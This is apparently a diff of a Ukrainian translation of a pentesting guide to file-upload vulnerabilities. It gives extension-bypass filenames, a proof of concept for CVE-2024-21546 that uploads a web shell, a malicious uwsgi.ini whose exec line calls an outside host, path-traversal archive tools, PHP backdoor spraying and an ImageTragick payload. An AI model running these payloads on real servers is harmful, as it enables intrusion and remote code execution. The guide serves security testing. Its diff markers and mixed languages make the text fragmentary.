**додавання дійсного розширення перед** виконуваним розширенням (також використовуйте попередні розширення):_ - _file.png.php_ - _file.png.Php5_ -3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використати Burp для **bruteforce** всіх **ascii** та **Unicode** символів. (_Зауважте, що ви також можете спробувати використати **раніше** згадані **розширення**_) +3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використати Burp для **перебору** всіх **ascii** та **Unicode** символів. (_Зауважте, що також можна спробувати використати **раніше** згадані **розширення**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Спробуйте обманути парсер розширень на стороні сервера техніками, як-от **подвоєння** **розширення** або **додавання зайвих** даних (**null** bytes) між розширеннями. _Ви також можете використати **попередні розширення**, щоб підготувати кращий payload._ +4. Спробуйте обійти захист, **обманувши парсер розширень** на сервері за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення**, щоб підготувати кращий payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Додайте **ще один шар розширень** до попередніх перевірок: +5. Додайте **ще один шар розширень** до попередньої перевірки: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Спробуйте помістити **виконувальне розширення перед валідним розширенням** і сподівайтесь, що сервер неправильно налаштовано. (корисно для експлуатації помилкових конфігурацій Apache, де будь-що з розширенням **.php**, але **не обов'язково закінчується на .php**, буде виконуватись): +6. Спробуйте поставити **виконавче розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де будь-який файл з розширенням **.php**, але не обов'язково який закінчується на .php, буде виконувати код): - _ex: file.php.png_ -7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки ":". В результаті на сервері буде створено **порожній файл із забороненим розширенням** (наприклад, "file.asax:.jpg”). Цей файл може бути змінений пізніше за допомогою інших технік, як-от використання його короткої назви файлу. Шаблон "**::$data**” також можна використати для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, "file.asp::$data.”) -8. Спробуйте перевантажити ліміти імені файлу. Валідне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php +7. Використання **NTFS alternate data stream (ADS)** в **Windows**. У цьому випадку після забороненого розширення та перед дозволеним буде вставлено символ двокрапки ":”. Як результат, на сервері буде створено **порожній файл із забороненим розширенням** (наприклад "file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання короткого імені файлу. Шаблон "**::$data**” також можна використати для створення не-порожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу додаткових обмежень (наприклад "file.asp::$data.”) +8. Спробуйте перевантажити ліміти імені файлу. Дійсне розширення буде обрізано. І зловмисний PHP залишиться. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -Деякі обробники завантаження обрізають або нормалізують кінцеві крапки в збереженому імені файлу. В UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти перевірку розширень, зробивши: +Деякі upload handlers обрізають або нормалізують кінцеві крапки в збереженому імені файлу. У UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти валідацію розширення шляхом: -- Використовуючи валідний image MIME та magic header (наприклад, PNG’s `\x89PNG\r\n\x1a\n`). -- Назвавши завантажений файл з PHP-розширенням, за яким слідує крапка, наприклад, `shell.php.`. -- Сервер обрізає кінцеву крапку і зберігає `shell.php`, який виконуватиметься, якщо його розміщено в web-доступній директорії (за замовчуванням public storage, як `/storage/files/`). +- Використання дійсного image MIME та magic header (наприклад, PNG’s `\x89PNG\r\n\x1a\n`). +- Іменування завантажуваного файлу з PHP-розширенням, за яким слідує крапка, наприклад, `shell.php.`. +- Сервер обрізає кінцеву крапку і зберігає `shell.php`, який буде виконаний, якщо його розмістити в веб-доступному каталозі (за замовчуванням public storage, наприклад `/storage/files/`). -Minimal PoC (Burp Repeater): +Мінімальний PoC (Burp Repeater): ```http POST /profile/avatar HTTP/1.1 Host: target @@ -84,61 +84,61 @@ Content-Type: image/png ``` GET /storage/files/0xdf.php?cmd=id ``` -Mitigations: -- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1. -- Enforce strict server-side allowlists and re-validate the persisted filename. -- Serve uploads from non-executable locations. +Заходи захисту: +- Оновіть unisharp/laravel-filemanager до ≥ 2.9.1. +- Запровадьте суворі серверні списки дозволених (allowlists) та повторно перевіряйте збережене ім'я файлу. +- Зберігайте завантаження в директоріях, де виконання не дозволене. -### Bypass Content-Type, Magic Number, Compression & Resizing +### Обхід Content-Type, magic number, стиснення та зміни розміру -- Обійти перевірки **Content-Type**, встановивши **value** **header** **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_ +- Обійдіть перевірки **Content-Type**, встановивши **значення** **заголовка** **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставити шелл у **metadata**:\ +- Обійдіть перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставте shell у **метадані**:\ `exiftool -Comment="' >> img.png` -- Якщо до вашого зображення застосовується **compression**, наприклад за допомогою стандартних PHP-бібліотек на кшталт [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть стати неефективними. Однак ви можете використати **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**. +- Якщо до вашого зображення додається **стискання**, наприклад за допомогою стандартних PHP-бібліотек як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть бути марними. Однак ви можете використати **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Веб-сторінка також може **змінювати розміри (resizing)** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Однак ви можете використати **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**. +- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Проте ви можете використати **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Інша техніка для створення payload, який **виживе при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Однак ви можете використати **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**. +- Інша техніка для створення payload, який **виживає при зміні розміру зображення**, використовує функцію PHP-GD `thumbnailImage`. Проте ви можете використати **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### Інші трюки для перевірки -- Знайдіть вразливість, яка дозволяє **rename** вже завантажений файл (щоб змінити розширення). -- Знайдіть вразливість **Local File Inclusion**, щоб виконати backdoor. -- **Possible Information disclosure**: -1. Завантажте **кілька разів** (і водночас) **той самий файл** з **тим самим іменем** -2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує** -3. Завантаження файлу з ім'ям **".”, "..”, або "…”**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в директорії "/www/uploads/” , ім'я файлу "." створить файл з назвою "uploads” в директорії "/www/”. -4. Завантаження файлу, який може бути важко видалити, наприклад **"…:.jpg”** на **NTFS**. (Windows) -5. Завантаження файлу в **Windows** з **недопустимими символами** у назві, такими як `|<>*?”` . (Windows) -6. Завантаження файлу в **Windows** з використанням **зарезервованих** (**заборонених**) **імен**, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. -- Також спробуйте **upload an executable** (.exe) або **.html** (менш підозріле), яке **виконає код**, коли випадково буде відкрито жертвою. +- Знайдіть вразливість, яка дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення). +- Знайдіть вразливість **Local File Inclusion** щоб виконати бекдор. +- **Можливе розкриття інформації**: +1. Завантажте **кілька разів** (і одночасно) **той самий файл** з **тим самим іменем** +2. Завантажте файл з **іменем** файлу або папки, яка **вже існує** +3. Завантаження файлу з іменем **"." , ".." або "..."**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в "/www/uploads/" директорії, файл з ім'ям "." створить файл під назвою "uploads" у директорії "/www/". +4. Завантажте файл, який важко видалити, наприклад **"…:.jpg"** в **NTFS**. (Windows) +5. Завантажте файл у **Windows** з **недопустимими символами**, такими як `|<>*?"` у його імені. (Windows) +6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9. +- Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозріле), який **буде виконувати код** при випадковому відкритті жертвою. ### Special extension tricks -Якщо ви намагаєтеся завантажити файли на **PHP server**, [зверніть увагу на **.htaccess** трюк для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Якщо ви намагаєтеся завантажити файли на **ASP server**, [перегляньте **.config** трюк для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **used like a php file** (виконуватися за допомогою php або включатися в скрипт...). +The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...) -Розширення `.inc` іноді використовують для php-файлів, які лише **import files**, тому іноді хтось міг дозволити **this extension to be executed**. +The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**. ## **Jetty RCE** -Якщо ви можете завантажити XML-файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як вказано на зображенні нижче, завантажте XML-файл в `$JETTY_BASE/webapps/` і очікуйте shell! +Якщо ви можете завантажити XML-файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Тому, як зазначено на зображенні, завантажте XML-файл до `$JETTY_BASE/webapps/` та очікуйте shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити `.ini` configuration file. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "magic" змінних, плейсхолдерів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, оскільки дозволяє читати дані зі standard output процесу. Цю можливість можна зловмисно використовувати для Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` configuration file. +Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. -Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні schemes: +Розглянемо наступний приклад шкідливого `uwsgi.ini` файлу, який демонструє різні схеми: ```ini [uwsgi] ; read from a symbol @@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Виконання payload відбувається під час парсингу файлу конфігурації. Щоб конфігурація була активована і розібрана, процес uWSGI має бути або перезапущений (ймовірно після крашу або через Denial of Service attack), або файл має бути встановлений на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через задані інтервали при виявленні змін. +Виконання payload відбувається під час розбору файлу конфігурації. Щоб конфігурація активувалася й була розпарсена, процес uWSGI має бути перезапущений (наприклад, після збою або через Denial of Service attack) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через задані інтервали при виявленні змін. -Важливо розуміти лояльний характер парсингу файлу конфігурації uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад зображення або PDF), що ще більше розширює можливості експлуатації. +Важливо розуміти поблажливість парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload можна вставити в двійковий файл (наприклад, зображення або PDF), що ще більше розширює можливі вектори експлуатації. ## **wget File Upload/SSRF Trick** -В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, що розширення завантажуваних файлів знаходиться в whitelist, щоб запевнити, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\ -**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл з іменем "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл у **"A"\*232+".php"**. +Інколи можна виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, чи розширення завантажуваних файлів знаходиться в білому списку, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\ +Максимальна довжина **filename** в **linux** — **255**, проте **wget** обрізає назви файлів до **236** символів. Ви можете **завантажити файл з назвою "A"\*232+".php"+".gif"**, ця назва файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** — **valid** розширення), але `wget` **перейменує** файл на **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -186,17 +186,17 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Зауважте, що **ще один варіант**, який може прийти вам у голову, щоб обійти цю перевірку — змусити **HTTP сервер перенаправити на інший файл**, тож початковий URL пройде перевірку, а потім wget завантажить перенаправлений файл з новим ім'ям. Це **не спрацює** **якщо тільки** wget використовується з **параметром** `--trust-server-names`, тому що **wget завантажить перенаправлену сторінку з ім'ям файлу, вказаним у початковому URL**. +Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. ## Інструменти -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, призначений допомагати Pentesters and Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні bug bounty techniques, щоб спростити процес ідентифікації та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, призначений допомогти Pentesters and Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні bug bounty techniques для спрощення процесу виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications. ### Corrupting upload indices with snprintf quirks (historical) -Деякі застарілі обробники завантажень, які використовують `snprintf()` або подібні функції для побудови масивів з багатьма файлами з однофайлового завантаження, можна обдурити, змусивши сфальсифікувати структуру `_FILES`. Через невідповідності та обрізання в поведінці `snprintf()`, ретельно сформоване однофайлове завантаження може виглядати як кілька проіндексованих файлів на боці сервера, плутаючи логіку, яка припускає жорстку структуру (наприклад, трактуючи це як multi-file upload і вибираючи небезпечні гілки). Хоча сьогодні це нішево, цей шаблон “index corruption” час від часу з'являється в CTFs та старих кодових базах. +Деякі застарілі upload-хендлери, що використовують `snprintf()` або подібні функції для побудови масивів multi-file з однофайлового upload, можуть бути обмануті та змусити підробити структуру `_FILES`. Через невідповідності та усікання в поведінці `snprintf()`, ретельно сформований одиночний upload може виглядати як кілька індексованих файлів на стороні сервера, плутаючи логіку, яка очікує чіткої структури (наприклад, трактуючи це як multi-file upload і переходячи до небезпечних гілок). Хоча сьогодні це нішеве явище, цей патерн «index corruption» час від часу з'являється в CTFs та старих кодових базах. -## From File upload to other vulnerabilities +## Від File upload до інших вразливостей - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** @@ -227,7 +227,7 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here]( 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Розширення Burp +#### Burp Extension {{#ref}} @@ -243,30 +243,28 @@ Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wiki ## Zip/Tar File Automatically decompressed Upload -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі: ### Symlink - -Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Розпакування в різні папки +### Розпаковка в різні папки -Несподіване створення файлів у каталогах під час розпакування є серйозною проблемою. Незважаючи на початкові припущення, що така конфігурація може захищати від виконання команд на рівні ОС через шкідливі завантаження файлів, підтримка ієрархічного стиснення та можливості directory traversal формату архівів ZIP можуть бути використані. Це дозволяє атакуючим обійти обмеження та вийти за межі захищених каталогів завантаження, маніпулюючи функцією розпакування цільового додатка. +Несподіване створення файлів у директоріях під час розпаковування — суттєва проблема. Незважаючи на початкові припущення, що така конфігурація може захищати від OS-level command execution через шкідливі file uploads, підтримка ієрархічної компресії та можливості directory traversal у ZIP archive format можуть бути використані. Це дозволяє нападникам обійти обмеження та вийти з secure upload directories, маніпулюючи decompression функціоналом цільового додатка. -Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано: +Автоматизований експлойт для створення таких файлів доступний за адресою [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Крім того, **symlink trick with evilarc** — це варіант. Якщо метою є отримати доступ до файлу на кшталт `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи. +Крім того, доступним варіантом є **symlink trick with evilarc**. Якщо метою є націлитися на файл на кшталт `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не стикатиметься з помилками під час роботи. -Нижче наведено приклад Python-коду, що використовується для створення шкідливого zip-файлу: +Нижче наведено приклад коду на Python, що використовується для створення шкідливого zip-файлу: ```python #!/usr/bin/python import zipfile @@ -284,11 +282,11 @@ zip.close() create_zip() ``` -**Abusing compression for file spraying** +**Зловживання стисненням для file spraying** -Для детальнішої інформації **перегляньте оригінальний допис на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Для детальнішої інформації **перегляньте оригінальний пост за адресою**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP-код записано для виконання команд, переданих через змінну `$_REQUEST`. +1. **Creating a PHP Shell**: PHP-код, який виконує команди, передані через змінну `$_REQUEST`. ```php ``` -2. **File Spraying and Compressed File Creation**: Створюються кілька файлів і збирається zip-архів, що містить ці файли. +2. **File Spraying and Compressed File Creation**: Створюється кілька файлів і збирається zip-архів, що містить ці файли. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: Імена файлів всередині zip змінюються за допомогою vi або hex-редактора, замінюючи "xxA" на "../" для переходу між директоріями. +3. **Modification with a Hex Editor or vi**: Імена файлів усередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../" для обходу директорій. ```bash :set modifiable @@ -315,7 +313,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Завантажте цей вміст з розширенням зображення, щоб exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767)) +Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість **(ImageMagick , 7.0.1-1)** (з [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -324,31 +322,31 @@ pop graphic-context ``` ## Вбудовування PHP Shell у PNG -Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим цими операціями є значною перевагою для певних випадків використання. +Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` і `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки їх часто використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним після цих операцій є значною перевагою в певних випадках використання. -Детальний розгляд цієї техніки, включно з методологією та потенційними застосуваннями, наведено в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків. +Детальний розгляд цієї техніки, включно з методологією та можливими застосуваннями, наведено у статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Це джерело дає всебічне розуміння процесу та його наслідків. Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglot files слугують унікальним інструментом у кібербезпеці, поводячись як хамелеони, які можуть коректно існувати одночасно у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує і як GIF, і як RAR-архів. Такі файли не обмежуються цією комбінацією; можливі й поєднання на кшталт GIF і JS або PPT і JS. +Polyglot files виступають унікальним інструментом у cybersecurity, поводячись як хамелеони, які можуть одночасно коректно існувати в кількох файлових форматах. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar) — гібрид, що одночасно функціонує як GIF і RAR-архів. Такі файли не обмежуються цією комбінацією; можливі й поєднання типу GIF і JS або PPT і JS. -Основна користь polyglot files полягає в їхній здатності обходити механізми безпеки, що сканують файли за типом. Звичайна практика в різних додатках — дозволяти для завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів файлів, може непомітно обійти ці обмеження. +Основна користь polyglot files полягає в їхній здатності обходити заходи безпеки, які перевіряють файли за типом. Звичайна практика в різних додатках — дозволяти для завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик від потенційно небезпечних форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів одночасно, може непомітно обійти ці обмеження. -Незважаючи на їхню адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно бути PHAR-файлом (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо контролює допустимі розширення, сама по собі структурна подвійність polyglot може не забезпечити дозволу на завантаження. +Незважаючи на адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно містити PHAR file (PHp ARchive) і JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо контролює дозволені розширення, сама лише структурна подвійність polyglot може не гарантувати успіху завантаження. Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Завантаження валідних JSON, ніби це PDF +### Upload valid JSONs like if it was PDF -Як уникнути виявлення типу файлу, завантаживши валідний JSON-файл навіть якщо це не дозволено, підробивши PDF-файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Як уникнути виявлення типу файлу, завантаживши валідний JSON, навіть якщо це не дозволено, підробивши PDF (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: доки magic-байти `%PDF` знаходяться в перших 1024 байтах, це вважається валідним (див. приклад у пості) -- **`pdflib` library**: додайте фейковий PDF-формат всередину поля JSON так, щоб бібліотека подумала, що це pdf (див. приклад у пості) -- **`file` binary**: він може читати до 1048576 байтів з файлу. Просто створіть JSON більший за цей розмір, щоб він не зміг розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і він вважатиме це PDF +- **`mmmagic` library**: Поки магічні байти `%PDF` знаходяться в перших 1024 байтах — файл вважається валідним (приклад у пості) +- **`pdflib` library**: Додати фейковий PDF формат всередину поля JSON, щоб бібліотека вважала його PDF (приклад у пості) +- **`file` binary**: Він читає до 1048576 байтів з файлу. Просто створіть JSON більший за це, щоб утиліта не змогла розпарсити вміст як JSON, а всередині JSON розмістіть початкову частину реального PDF — і вона подумає, що це PDF -## Посилання +## References - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)